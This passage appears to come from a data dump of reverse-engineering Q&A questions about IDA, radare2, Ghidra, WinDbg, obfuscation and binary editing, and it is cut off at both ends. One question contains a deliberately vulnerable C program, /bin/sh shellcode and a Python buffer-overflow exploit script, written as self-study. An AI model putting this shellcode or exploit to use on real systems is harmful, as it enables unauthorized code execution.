kd> r @rdx
+rdx=00000035ed53f000
+
+ +Even more surprising, the GS register still resolves to offset 0x0 which still contains ""invalid"" memory! + +
kd> r @gs
+gs=002b
+
+kd> r @gdtr
+gdtr=fffff80105471fb0
+
+kd> dq (@gdtr + (5 * 8)) L1
+fffff801`05471fd8  00cff300`0000ffff
+
+kd> dg gs
+                                                    P Si Gr Pr Lo
+Sel        Base              Limit          Type    l ze an es ng Flags
+---- ----------------- ----------------- ---------- - -- -- -- -- --------
+002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3
+
+kd> dq gs:[30]
+002b:00000000`00000030  ????????`???????? ????????`????????
+
+ +So... + +
    +
  1. Why does my GS register resolve to offset 0x0?
  2. +
  3. And where/how does the mov rdx,qword ptr gs:[30h] read memory from?
  4. +
+" +"['ida', 'disassembly', 'ollydbg', 'debuggers', 'dynamic-analysis']"," Title: How to find functions in IDA Pro/x64dbgBody: i created a program for testing, very simple in c++. +is ask for password if it is match is print correct, if no it is print ""bad"". + +i try to find with ida where is the function of what i made. + +but i can find it only with the strings. + +there is a different way to find it?, i mean not by the string? +maybe with the debugger step by step? or something else? +because in other programs i don't have strings, and its hard for me to find function. +" +"['windows', 'assembly', 'register']"," Title: How can I dump the output of this register , the MSR - IA32_VMX_PROCBASED_CTLS2 , to see whether unrestricted guest mode is supported/enabled?Body: How can I dump the output of this register , the MSR - IA32_VMX_PROCBASED_CTLS2 , to see whether unrestricted guest mode is supported/enabled? + +Context is curiosity. + +I'm aware that Docker in the case of mac osx, and maybe in the case of Windows, requires unrestricted mode / unrestricted guest mode. + +And I read + +https://software.intel.com/en-us/forums/virtualization-software-development/topic/277958 + +""There are a series of MSRs that tell you if a given CPU supports the '1' setting of unrestricted guest and a number of other virtualization features. The specific MSR is IA32_VMX_PROCBASED_CTLS2 and I believe unrestricted guest is bit 7 in the secondary proc controls VMCS field."" + +i don't know if powershell or wmic will show it. I know win7 32bit has debug(which might possible show it? I know debug can show some registers, I have once used debug to move a value into the AX register), though i'm on win7 64bit and that doesn't have debug. + +Perhaps somebody that knows a bit of assembly can show what assembler one needs to install and what lines to run, to display the bits of that register? +" +"['ida', 'idapython', 'android', 'obfuscation', 'deobfuscation']"," Title: How to deobfuscate native Android library obfuscated with OLLVM?Body: When I load the binay in IDA, all I can see are loads of .datadiv_decodeXXX... functions and this is because of OLLVM. I know it is possible as a Chinese article I found said they were able to decrypt all the strings by using IDAPython. I just have no idea where to start. +" +['idapython']," Title: Get and change function definition IDAPythonBody: I was wondering if it is possible to retrieve the function definition at ea and eventually how to edit it. This feature should be in idaapi but unfortunately there's basically no documentation about that. +" +"['ida', 'anti-debugging']"," Title: Anti-disassembler techniques and IDA ProBody: I am a newbie to RE and IDA Pro 7.2, and I am working my way through the book Practical Malware Analysis. I'm currently working on the lab 15-01 problem in the anti-disassembler chapter, but am having difficulty reproducing part of the solution in my environment. + +I solved the lab by redefining some bogus opcodes into data, and now I have reasonable disassembly listings to look at. So far, so good. But at the end, the solution tells you to turn this fixed-up section into a function using the ""P"" hotkey. That doesn't work for me: I get this message in the output window: + +
.text:00401010: The function has undefined instruction/data at the specified address.
+Your request has been put in the autoanalysis queue.
+
+ +The address points to the first data definition I made. + +Trying to flip over to graph mode doesn't work either. I get a popup that tells me that only instructions belonging to functions can be displayed in graph mode. + +If I go to the Problems tab, I see lines like this: + +
.text:00401062  NONAME      db 0E8h
+
+ +But I didn't glean anything in the IDA Pro help file for no name problems that helped me with my specific situation. + +Ultimately, I used Edit -> Patch Program -> change byte to NOP out the data bytes and turn them into code. Then I had a function that I could graph. + +My question is, is there a way to do this without patching bytes? + +EDIT: Added error message text to the post. +" +"['ida', 'assembly']"," Title: IDA pro - strange switch statementBody: I use IDA pro and along the analysis I try to understand the following function. +There is a simple switch case but it appears that all the 13 switch branches do the EXACT same thing. +Am I missing something here??? +In case it does branch to the same 13 identical branches than why is IDA analyzing it like this or, if this is a compiler issue that what the reason behind this? + +The code: + +
        myFunc         proc near               ; CODE XREF: call_BH32_and_BH32func+46↑p
+.text:010CA990                                         ; BH32+12↑p
+.text:010CA990                                         ; DATA XREF: ...
+.text:010CA990
+.text:010CA990 arg_0           = dword ptr  8
+.text:010CA990 arg_4           = dword ptr  0Ch
+.text:010CA990 arg_8           = dword ptr  10h
+.text:010CA990 arg_C           = dword ptr  14h
+.text:010CA990 arg_10          = dword ptr  18h
+.text:010CA990
+.text:010CA990                 push    ebp
+.text:010CA991                 mov     ebp, esp
+.text:010CA993                 mov     ecx, [ebp+arg_0]
+.text:010CA996                 xor     edx, edx
+.text:010CA998                 push    esi
+.text:010CA999                 mov     esi, [ebp+arg_4]
+.text:010CA99C                 push    edi
+.text:010CA99D                 mov     edi, 0Dh
+.text:010CA9A2                 lea     eax, [ecx+esi]
+.text:010CA9A5                 div     edi
+.text:010CA9A7                 cmp     edx, 0Ch        ; switch 13 cases
+.text:010CA9AA                 ja      loc_10CAAE2     ; jumptable 1017A9B0 default case
+.text:010CA9B0                 jmp     ds:off_10CAAE8[edx*4] ; switch jump
+.text:010CA9B7 ; ---------------------------------------------------------------------------
+.text:010CA9B7
+.text:010CA9B7 loc_10CA9B7:                            ; CODE XREF: myFunc+20↑j
+.text:010CA9B7                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CA9B7                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 0
+.text:010CA9BA                 push    [ebp+arg_C]
+.text:010CA9BD                 push    [ebp+arg_8]
+.text:010CA9C0                 push    esi
+.text:010CA9C1                 push    ecx
+.text:010CA9C2                 call    nextFunc
+.text:010CA9C7                 add     esp, 14h
+.text:010CA9CA                 pop     edi
+.text:010CA9CB                 pop     esi
+.text:010CA9CC                 pop     ebp
+.text:010CA9CD                 retn
+.text:010CA9CE ; ---------------------------------------------------------------------------
+.text:010CA9CE
+.text:010CA9CE loc_10CA9CE:                            ; CODE XREF: myFunc+20↑j
+.text:010CA9CE                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CA9CE                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 1
+.text:010CA9D1                 push    [ebp+arg_C]
+.text:010CA9D4                 push    [ebp+arg_8]
+.text:010CA9D7                 push    esi
+.text:010CA9D8                 push    ecx
+.text:010CA9D9                 call    nextFunc
+.text:010CA9DE                 add     esp, 14h
+.text:010CA9E1                 pop     edi
+.text:010CA9E2                 pop     esi
+.text:010CA9E3                 pop     ebp
+.text:010CA9E4                 retn
+.text:010CA9E5 ; ---------------------------------------------------------------------------
+.text:010CA9E5
+.text:010CA9E5 loc_10CA9E5:                            ; CODE XREF: myFunc+20↑j
+.text:010CA9E5                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CA9E5                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 2
+.text:010CA9E8                 push    [ebp+arg_C]
+.text:010CA9EB                 push    [ebp+arg_8]
+.text:010CA9EE                 push    esi
+.text:010CA9EF                 push    ecx
+.text:010CA9F0                 call    nextFunc
+.text:010CA9F5                 add     esp, 14h
+.text:010CA9F8                 pop     edi
+.text:010CA9F9                 pop     esi
+.text:010CA9FA                 pop     ebp
+.text:010CA9FB                 retn
+.text:010CA9FC ; ---------------------------------------------------------------------------
+.text:010CA9FC
+.text:010CA9FC loc_10CA9FC:                            ; CODE XREF: myFunc+20↑j
+.text:010CA9FC                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CA9FC                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 3
+.text:010CA9FF                 push    [ebp+arg_C]
+.text:010CAA02                 push    [ebp+arg_8]
+.text:010CAA05                 push    esi
+.text:010CAA06                 push    ecx
+.text:010CAA07                 call    nextFunc
+.text:010CAA0C                 add     esp, 14h
+.text:010CAA0F                 pop     edi
+.text:010CAA10                 pop     esi
+.text:010CAA11                 pop     ebp
+.text:010CAA12                 retn
+.text:010CAA13 ; ---------------------------------------------------------------------------
+.text:010CAA13
+.text:010CAA13 loc_10CAA13:                            ; CODE XREF: myFunc+20↑j
+.text:010CAA13                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAA13                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 4
+.text:010CAA16                 push    [ebp+arg_C]
+.text:010CAA19                 push    [ebp+arg_8]
+.text:010CAA1C                 push    esi
+.text:010CAA1D                 push    ecx
+.text:010CAA1E                 call    nextFunc
+.text:010CAA23                 add     esp, 14h
+.text:010CAA26                 pop     edi
+.text:010CAA27                 pop     esi
+.text:010CAA28                 pop     ebp
+.text:010CAA29                 retn
+.text:010CAA2A ; ---------------------------------------------------------------------------
+.text:010CAA2A
+.text:010CAA2A loc_10CAA2A:                            ; CODE XREF: myFunc+20↑j
+.text:010CAA2A                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAA2A                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 5
+.text:010CAA2D                 push    [ebp+arg_C]
+.text:010CAA30                 push    [ebp+arg_8]
+.text:010CAA33                 push    esi
+.text:010CAA34                 push    ecx
+.text:010CAA35                 call    nextFunc
+.text:010CAA3A                 add     esp, 14h
+.text:010CAA3D                 pop     edi
+.text:010CAA3E                 pop     esi
+.text:010CAA3F                 pop     ebp
+.text:010CAA40                 retn
+.text:010CAA41 ; ---------------------------------------------------------------------------
+.text:010CAA41
+.text:010CAA41 loc_10CAA41:                            ; CODE XREF: myFunc+20↑j
+.text:010CAA41                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAA41                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 6
+.text:010CAA44                 push    [ebp+arg_C]
+.text:010CAA47                 push    [ebp+arg_8]
+.text:010CAA4A                 push    esi
+.text:010CAA4B                 push    ecx
+.text:010CAA4C                 call    nextFunc
+.text:010CAA51                 add     esp, 14h
+.text:010CAA54                 pop     edi
+.text:010CAA55                 pop     esi
+.text:010CAA56                 pop     ebp
+.text:010CAA57                 retn
+.text:010CAA58 ; ---------------------------------------------------------------------------
+.text:010CAA58
+.text:010CAA58 loc_10CAA58:                            ; CODE XREF: myFunc+20↑j
+.text:010CAA58                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAA58                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 7
+.text:010CAA5B                 push    [ebp+arg_C]
+.text:010CAA5E                 push    [ebp+arg_8]
+.text:010CAA61                 push    esi
+.text:010CAA62                 push    ecx
+.text:010CAA63                 call    nextFunc
+.text:010CAA68                 add     esp, 14h
+.text:010CAA6B                 pop     edi
+.text:010CAA6C                 pop     esi
+.text:010CAA6D                 pop     ebp
+.text:010CAA6E                 retn
+.text:010CAA6F ; ---------------------------------------------------------------------------
+.text:010CAA6F
+.text:010CAA6F loc_10CAA6F:                            ; CODE XREF: myFunc+20↑j
+.text:010CAA6F                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAA6F                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 8
+.text:010CAA72                 push    [ebp+arg_C]
+.text:010CAA75                 push    [ebp+arg_8]
+.text:010CAA78                 push    esi
+.text:010CAA79                 push    ecx
+.text:010CAA7A                 call    nextFunc
+.text:010CAA7F                 add     esp, 14h
+.text:010CAA82                 pop     edi
+.text:010CAA83                 pop     esi
+.text:010CAA84                 pop     ebp
+.text:010CAA85                 retn
+.text:010CAA86 ; ---------------------------------------------------------------------------
+.text:010CAA86
+.text:010CAA86 loc_10CAA86:                            ; CODE XREF: myFunc+20↑j
+.text:010CAA86                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAA86                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 9
+.text:010CAA89                 push    [ebp+arg_C]
+.text:010CAA8C                 push    [ebp+arg_8]
+.text:010CAA8F                 push    esi
+.text:010CAA90                 push    ecx
+.text:010CAA91                 call    nextFunc
+.text:010CAA96                 add     esp, 14h
+.text:010CAA99                 pop     edi
+.text:010CAA9A                 pop     esi
+.text:010CAA9B                 pop     ebp
+.text:010CAA9C                 retn
+.text:010CAA9D ; ---------------------------------------------------------------------------
+.text:010CAA9D
+.text:010CAA9D loc_10CAA9D:                            ; CODE XREF: myFunc+20↑j
+.text:010CAA9D                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAA9D                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 10
+.text:010CAAA0                 push    [ebp+arg_C]
+.text:010CAAA3                 push    [ebp+arg_8]
+.text:010CAAA6                 push    esi
+.text:010CAAA7                 push    ecx
+.text:010CAAA8                 call    nextFunc
+.text:010CAAAD                 add     esp, 14h
+.text:010CAAB0                 pop     edi
+.text:010CAAB1                 pop     esi
+.text:010CAAB2                 pop     ebp
+.text:010CAAB3                 retn
+.text:010CAAB4 ; ---------------------------------------------------------------------------
+.text:010CAAB4
+.text:010CAAB4 loc_10CAAB4:                            ; CODE XREF: myFunc+20↑j
+.text:010CAAB4                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAAB4                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 11
+.text:010CAAB7                 push    [ebp+arg_C]
+.text:010CAABA                 push    [ebp+arg_8]
+.text:010CAABD                 push    esi
+.text:010CAABE                 push    ecx
+.text:010CAABF                 call    nextFunc
+.text:010CAAC4                 add     esp, 14h
+.text:010CAAC7                 pop     edi
+.text:010CAAC8                 pop     esi
+.text:010CAAC9                 pop     ebp
+.text:010CAACA                 retn
+.text:010CAACB ; ---------------------------------------------------------------------------
+.text:010CAACB
+.text:010CAACB loc_10CAACB:                            ; CODE XREF: myFunc+20↑j
+.text:010CAACB                                         ; DATA XREF: .text:off_10CAAE8↓o
+.text:010CAACB                 push    [ebp+arg_10]    ; jumptable 1017A9B0 case 12
+.text:010CAACE                 push    [ebp+arg_C]
+.text:010CAAD1                 push    [ebp+arg_8]
+.text:010CAAD4                 push    esi
+.text:010CAAD5                 push    ecx
+.text:010CAAD6                 call    nextFunc
+.text:010CAADB                 add     esp, 14h
+.text:010CAADE                 pop     edi
+.text:010CAADF                 pop     esi
+.text:010CAAE0                 pop     ebp
+.text:010CAAE1                 retn
+.text:010CAAE2 ; ---------------------------------------------------------------------------
+.text:010CAAE2
+.text:010CAAE2 loc_10CAAE2:                            ; CODE XREF: myFunc+1A↑j
+.text:010CAAE2                 pop     edi             ; jumptable 1017A9B0 default case
+.text:010CAAE3                 xor     eax, eax
+.text:010CAAE5                 pop     esi
+.text:010CAAE6                 pop     ebp
+.text:010CAAE7                 retn
+.text:010CAAE7 myFunc       endp
+.text:010CAAE7
+
+" +"['radare2', 'debuggers', 'breakpoint']"," Title: Is there watchpoints in radare2?Body: Is there any way to put breakpoints in radare2 that trigger when an address is read/write? + +In GDB those are call watchpoints ('rwatch' or 'awatch"") + +I got this from radare2 + +
[0xB7F08810]> !dr?
+Usage: !dr[type] [args]
+  dr                   - show DR registers
+  dr-                  - reset DR registers
+  drr [addr]           - set a read watchpoint
+  drw [addr]           - set a write watchpoint
+  drx [addr]           - set an execution watchpoint
+  dr[0-3][rwx] [addr]  - set a rwx wp at a certain DR reg
+Use addr=0 to undefine a DR watchpoint
+
+ +But I think that is old... +" +"['debugging', 'radare2', 'gdb', 'debuggers']"," Title: How to debug programs that load from another one? with radare2/gdbBody: I'm reversing engendering a plugin. This plugin is loaded into memory by the main program. +I disassemble the plugin with radare2 but I don't know how to debug it. +I try with gdb but same problem. + +I know is possible because I have done it in Hopper but I don't know to to do it with radare2 or gdb. + +one of the obstacles is, I load the plugin with radare2 to disassembler it but I can't put any breakpoint because is not set it in debug mode. Also, I can't set the debug mode because the plugin can't start by it self. Maybe I need I command that will start my main program before the debug? is there anything like that in radare2? I was reading about rarun2 but I can't make it work for something like this + +Any ideas? +Thanks +" +"['disassembly', 'elf', 'binary-editing']"," Title: Edit an .so fileBody: I have here an .so file that contains a language pack and I want to edit them. My problem is that I don't always have enough space for a clean translation. +I know that I can change the texts if they keep the same length or become shorter (fill the rest with NULL). Is if it is possible to create more space? +placeholder and resize the file and jump to the end of the binary file? +or maybe a reference to a .txt file? +" +"['ida', 'c++', 'idapython']"," Title: In IDA, i want to get symbol by using IDAPythonBody: I'm currently reversing some C++ Binary (macOS Kernel Extension).
+But, there are a lot of vtable functions, so i want to make some vtable structures by using IDAPython. + +I know how to make structure itself, but i don't know how to get symbol in following case. + +
UNDEF:0000000000003E60 ; IORegistryEntry::compareName(OSString *, OSString **)const
+UNDEF:0000000000003E60                 extrn __ZNK15IORegistryEntry11compareNameEP8OSStringPS1_:qword
+UNDEF:0000000000003E60                                         ; DATA XREF: __const:0000000000002410↑o
+UNDEF:0000000000003E60                                         ; __const:0000000000002F40↑o
+UNDEF:0000000000003E68 ; IORegistryEntry::getLocation(IORegistryPlane const*)const
+UNDEF:0000000000003E68                 extrn __ZNK15IORegistryEntry11getLocationEPK15IORegistryPlane:qword
+UNDEF:0000000000003E68                                         ; DATA XREF: __const:0000000000002428↑o
+UNDEF:0000000000003E68                                         ; __const:0000000000002F58↑o
+UNDEF:0000000000003E70 ; IORegistryEntry::getProperty(OSString const*)const
+UNDEF:0000000000003E70                 extrn __ZNK15IORegistryEntry11getPropertyEPK8OSString:qword
+UNDEF:0000000000003E70                                         ; DATA XREF: __const:0000000000002320↑o
+UNDEF:0000000000003E70                                         ; __const:0000000000002E50↑o
+UNDEF:0000000000003E78 ; IORegistryEntry::getProperty(OSString const*, IORegistryPlane const*, unsigned int)const
+UNDEF:0000000000003E78                 extrn __ZNK15IORegistryEntry11getPropertyEPK8OSStringPK15IORegistryPlanej:qword
+UNDEF:0000000000003E78                                         ; DATA XREF: __const:0000000000002338↑o
+UNDEF:0000000000003E78                                         ; __const:0000000000002E68↑o
+UNDEF:0000000000003E80 ; IORegistryEntry::getProperty(OSSymbol const*)const
+UNDEF:0000000000003E80                 extrn __ZNK15IORegistryEntry11getPropertyEPK8OSSymbol:qword
+UNDEF:0000000000003E80                                         ; DATA XREF: __const:0000000000002318↑o
+UNDEF:0000000000003E80                                         ; __const:0000000000002E48↑o
+UNDEF:0000000000003E88 ; IORegistryEntry::getProperty(OSSymbol const*, IORegistryPlane const*, unsigned int)const
+UNDEF:0000000000003E88                 extrn __ZNK15IORegistryEntry11getPropertyEPK8OSSymbolPK15IORegistryPlanej:qword
+UNDEF:0000000000003E88                                         ; DATA XREF: __const:0000000000002330↑o
+UNDEF:0000000000003E88                                         ; __const:0000000000002E60↑o
+UNDEF:0000000000003E90 ; IORegistryEntry::getProperty(char const*)const
+UNDEF:0000000000003E90                 extrn __ZNK15IORegistryEntry11getPropertyEPKc:qword
+UNDEF:0000000000003E90                                         ; DATA XREF: __const:0000000000002328↑o
+UNDEF:0000000000003E90                                         ; __const:0000000000002E58↑o
+
+...
+
+ +I want to get above symbol name.
+I tried to use idc.GetFunctionName and idautils.Functions(), i can't get symbol name fully. Result is below. + +
Python>import idautils
+Python>for func in idautils.Functions():
+Python>  print(hex(func), idc.GetFunctionName(func))
+
+...
+
+('0x3950L', '__ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass')
+('0x3a08L', '__ZN8OSObjectdlEPvm')
+('0x3a10L', '__ZN8OSObjectnwEm')
+('0x3e00L', '__ZN9IOServiceC2EPK11OSMetaClass')
+('0x3e08L', '__ZN9IOServiceD2Ev')
+('0x3e38L', '__ZNK11OSMetaClass19instanceConstructedEv')
+('0x3fb0L', '__ZNK9IOService10isInactiveEv')
+
+ +Is there some good way to get symbols? +" +['java']," Title: Java obfuscated methods and paramsBody: Try to decompile several classes from jar and found this + + + +
 public static final boolean \u2005\u200e;
+
+ +and + + + +
 if (\u2005\u200e) 
+ {
+     final boolean \u2005\u200e = tEstPrOJEcTDEV7i.\u2005\u200e;
+ }
+
+ +how to convert this names to normal? In byte code some of strings looks like -> ""�ୱﺔ颮떚䁠䭽鎢"" +" +['ghidra']," Title: Get stack references in Ghidra of a function from the java apiBody: How can one access all references to the stack (also outside of its frame) a function has via the Java Plugin API? + +Example: This instructions write values outside of the stack frame of the function: + + + +Do I need to traverse the CFG of the function? (If yes, how do I do this?) +" +['flash']," Title: dump flash memory with CAN BUSBody: I want to be able to read Flash memory from Microcontroller using CAN BUS, I was looking for the past few months for some resources to do that but didn't find any, i'm wondering how is that possible since some companies do that I'm looking for a simple example or explaination on how to accomplish that and which tools I need. +Thanks +" +"['radare2', 'c', 'gdb', 'python', 'buffer-overflow']"," Title: Illegal instruction fault in stack based buffer overflowBody: I wrote this short C program to practice buffer overflow exploits: + +
#include <stdio.h>
+#include <string.h>
+#include <stddef.h>
+#include <inttypes.h>
+
+char *decode(char *s){
+  for(int i = 0; i < strlen(s); i++){
+    s[i] ^= 0x15;
+  }
+  return s;
+}
+
+void get_secret(int argc, char *argv[]){
+
+  uint32_t eip_addr;
+  char secret[] = ""}aaef/::lz`a`;wp:qDb!b,BrMvD"";
+  char buffer[100];
+
+  if(argc > 1){
+    strcpy(buffer, argv[1]);
+  }else{
+    scanf(""%s"", buffer);
+  }
+
+  printf(""You entered: %s\n\n"", buffer);
+
+  if(strcmp(buffer, secret) == 0){
+    printf(""Passwords match!\n"");
+    printf(""Here is the secret message: %s\n"", decode(secret));
+  }else{
+    printf(""Get the f!@# out of here!\n"");
+    asm volatile(""1: lea 1b, %0;"": ""=a""(eip_addr));
+    printf(""EIP address:  %"" PRIx32 ""; %"" PRIu32 "" bytes from main start\n"",
+       eip_addr,eip_addr - (uint32_t)get_secret);
+  }
+}
+int main(int argc, char *argv[]){  
+  printf(""Welcome to the simple verifier!\n"");
+  printf(""Please enter your password: "");
+
+  get_secret(argc, argv);
+
+  return 0;
+}
+
+ +I disable ASLR and compile it with NX, PIE, and CANARY disabled: + +
echo 0 > /proc/sys/kernel/randomize_va_space
+gcc -m32 -g -no-pie -fno-stack-protector -z execstack overflow.c -o overflow
+
+ +Using r2, ragg2 and rarun2, I find where I can overwrite the return address of get_secret(): + +
~$ ragg2 -P 200 -r > pattern.txt
+~$ echo ""#!/usr/bin/rarun2"" > profile.rr2 && echo ""stdin=./pattern.txt"" >> profile.rr2
+~$ r2 -r profile.rr2 -d overflow
+[0xf7795a20]> dc
+EIP address:  804930b; 257 bytes from main start
+child stopped with signal 11
+[+] SIGNAL 11 errno=0 addr=0x41784141 code=1 ret=0
+[0x41784141]> wopO 0x41784141
+145
+[0x41784141]> 
+
+ +So, now I know exactly how big my payload must be to get to the return address, 145 bytes. Now I find an address to point to on the stack using gdb: + +
~$ gdb overflow_exe -q
+gdb-peda$ b 20
+gdb-peda$ b 25
+gdb-peda$ r $(python -c 'print ""A""*145+""B""*4')
+gdb-peda$ c
+gdb-peda$ x/200x $esp
+0xffffd100: 0x39    0x25    0xfe    0xf7    0x00    0x00    0x00    0x00
+0xffffd108: 0x7d    0xc5    0xe5    0x41    0x41    0x41    0x41    0x41
+0xffffd110: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd118: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd120: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd128: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd130: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd138: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd140: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd148: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd150: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd158: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd160: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd168: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd170: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd178: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd180: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd188: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd190: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
+0xffffd198: 0x41    0x41    0x41    0x41    0x42    0x42    0x42    0x42
+0xffffd1a0: 0x00    0x00    0x00    0x00    0x74    0xd2    0xff    0xff
+0xffffd1a8: 0x80    0x28    0xe2    0xf7    0x55    0x93    0x04    0x08
+0xffffd1b0: 0x02    0x00    0x00    0x00    0x74    0xd2    0xff    0xff
+0xffffd1b8: 0x80    0xd2    0xff    0xff    0xe0    0xd1    0xff    0xff
+0xffffd1c0: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
+gdb-peda$
+
+ +I should be able to replace those \x41s with \x90s, append my shellcode to it, then some address on the stack on to the end of that, making my payload look something like this: + +
""\x90""*117 + </bin/sh shellcode> + <some address that's filled with \x90>
+
+ +Using this logic, I picked an address in the middle on the NOPs, 0xffffd150, and crafted the following python exploit: + +
#!/usr/bin/env python
+import struct, os
+
+#land in middle of NOPs
+ret_addr = 0xffffd150
+
+#shellcode -> 28 bytes
+shell_code = ""\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80""
+
+#correct endianess
+def conv(val):
+    return struct.pack('<I', val)
+
+# Build the exploit string
+# 149 bytes to overwrite the ret addr total
+# Need to take 28 bytes for the shellcode and 4 for the return addr
+# 145 - 28 = 117
+exp = ""\x90""*117
+exp += shell_code # at the ret addr (145 bytes) here
+exp += conv(ret_addr)
+
+print(""Starting exploit"")
+os.system(""./overflow_exe ""+exp)
+
+ +But...I keep getting an Illegal instruction fault: + +
~$ ./overflow_exploit.py 
+Starting exploit
+Welcome to the simple verifier!
+Please enter your password: You entered: ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°
+                 1�@̀P���
+
+Get the f!@# out of here!
+EIP address:  804930b; 257 bytes from main start
+Illegal instruction
+
+ +Back in gdb I can see the NOP sled, shellcode, and return address, all where they should be: + +
gdb-peda$ x/200x $esp
+0xffffd120: 0xf7fe2539  0x00000000  0x90e5c57d  0x90909090
+0xffffd130: 0x90909090  0x90909090  0x90909090  0x90909090
+0xffffd140: 0x90909090  0x90909090  0x90909090  0x90909090
+0xffffd150: 0x90909090  0x90909090  0x90909090  0x90909090
+0xffffd160: 0x90909090  0x90909090  0x90909090  0x90909090
+0xffffd170: 0x90909090  0x90909090  0x90909090  0x90909090
+0xffffd180: 0x90909090  0x90909090  0x90909090  0x90909090
+0xffffd190: 0x90909090  0x90909090  0x90909090  0x90909090
+0xffffd1a0: 0x6850c031  0x68732f2f  0x69622f68  0x89e3896e
+0xffffd1b0: 0xb0c289c1  0x3180cd0b  0x80cd40c0  0xffffd150
+
+ +I'm at a loss. I re-check the binary's security features, and NX is still disabled (which is the only reason I can think of to explain the shellcode eliciting an ""Illegal instruction"" fault): + +
gdb-peda$ checksec
+CANARY    : disabled
+FORTIFY   : disabled
+NX        : disabled
+PIE       : disabled
+RELRO     : Partial
+gdb-peda$ 
+
+ +Why is my exploit throwing an Illegal instruction fault when all security features are disabled, and my shellcode is in the correct position on the stack? + +I'm on Debian 9 +" +"['ida', 'debugging', 'thread']"," Title: How does Ida suspend threads?Body: I know that Ida uses ptrace function to attach and debug process. + +How Ida can suspend thread? how is that possible? +" +"['exploit', 'buffer-overflow']"," Title: Cannot rewrite the rip even after disabling all the security featuresBody: I was trying to exploit a simple buffer overflow on a self created binary. +i have disabled all the security features by compiling with the flags - +--fno-stack-protector -z execstack -no-pie. +my program just copied data through gets on a defined variable. +however when i try to overwrite the RIP and check the crash point, i get this - + + +what can i do to overwrite the rip? +" +"['ida', 'disassembly', 'assembly', 'android', 'libraries']"," Title: IDA Pro how debug constant function returning different results?Body: The code below is executed with the parameters (0, 4, 0) , the first 0 being an int pointer casted to an int, and these are the same every time. After execution, a 3 digit number string is returned/assigned to result e.g. ""817"". But this number string can change and be different values, but I don't understand how this could be the case if the parameters passed to the function are all constant? + +
unsigned int __fastcall sub_CD16FABC(unsigned int result, int a2, int a3)
+{
+  int v3; // r7
+  signed int v4; // r3
+  bool v5; // zf
+  bool v6; // nf
+  unsigned __int8 v7; // vf
+  char v8; // r1
+  int v9; // r2
+  char v10; // r1
+  char v11; // lr
+  int v12; // r8
+  int v13; // r1
+  signed int v14; // r7
+  int v15; // r3
+  char v16; // [sp+2h] [bp-1Ah]
+  char v17; // [sp+3h] [bp-19h]
+
+  v3 = -a3 - (unsigned __int8)result;
+  v4 = (((result >> 8) ^ 0xFFFF00) & (result >> 8)) + a3;
+  v7 = __OFSUB__(a2, 3);
+  v5 = a2 == 3;
+  v6 = a2 - 3 < 0;
+  v8 = 0;
+  v9 = a3 + (unsigned __int8)__ROR4__(result, 16);
+  if ( !((unsigned __int8)(v6 ^ v7) | v5) )
+    v8 = 1;
+  v17 = v8;
+  v10 = result;
+  if ( result )
+    v10 = 1;
+  v16 = v10;
+  v11 = v4
+      - 10
+      * (((signed int)((unsigned __int64)(1717986919LL * v4) >> 32) >> 2)
+       + ((((unsigned __int64)(1717986919LL * v4) >> 32) & 0x80000000) != 0LL))
+      + 48;
+  v12 = v9 % 10 + 48;
+  v13 = -v3 % 10;
+  v14 = -1319380658;
+  while ( 1 )
+  {
+    v15 = v14 & 0x7FFFFFFF;
+    if ( (v14 & 0x7FFFFFFF) == 695688137 )
+      break;
+    if ( v15 == 1516370106 )
+    {
+      *(_BYTE *)(result + 1) = v11;
+      v14 = -1451795511;
+      *(_BYTE *)result = v13 + 48;
+      *(_BYTE *)(result + 2) = v12;
